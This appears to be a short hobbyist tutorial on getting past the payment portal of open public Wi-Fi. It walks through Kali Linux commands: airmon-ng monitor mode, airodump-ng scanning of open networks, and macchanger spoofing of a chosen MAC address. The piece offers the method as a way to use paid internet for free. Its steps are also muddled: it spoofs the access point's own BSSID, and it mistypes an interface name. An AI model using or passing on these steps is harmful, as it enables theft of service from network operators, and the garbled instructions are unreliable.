Airports and coffee shops use Password-free networks logins to join the network without using knowing the password, but the free networks doesn’t offer free Wifi traffics without paying or some sort of paying portal and any page you visit you will be redirected to that paying portal and you have to pay to use the internet connection.
In This tutorial we are going to need Kali Linux, Wifi adapter to complete the task, Wifi adapters are many and different in shape and size, but you have to be careful as we need a wifi adapter with monitoring mode enabled.
Start Kali and in the terminal write iwconfig to make sure your external adapter is connected:
Now let’s put the wifi adapter into monitor mode airmon-ng start wlan0
Just type ifconfig to make sure you are ready:
Now let’s scan for open wifi connections in the area using airodump-ng wlan0mon –encrypt OPN
Let’s add a filter to be more specific to one channel let’s say 6:
airodump-ng wlan0mon -c 6 –encrypt OPN
I’m going to pick the BSSID 94:FE:22:4D:73:64 and spoof it as mine using macchanger, let’s first stop airmon-ng and put our card interface wla0 down:
airmon-ng stop wlan0mon
ifconfig wlan0 down
macchanger -m 94:FE:22:4D:73:64 wlan0
ifconfig wlan0 up
Now let’s check out wlan0 card and see if it got an ip:
As you can see we got a connection and now we can use the free internet.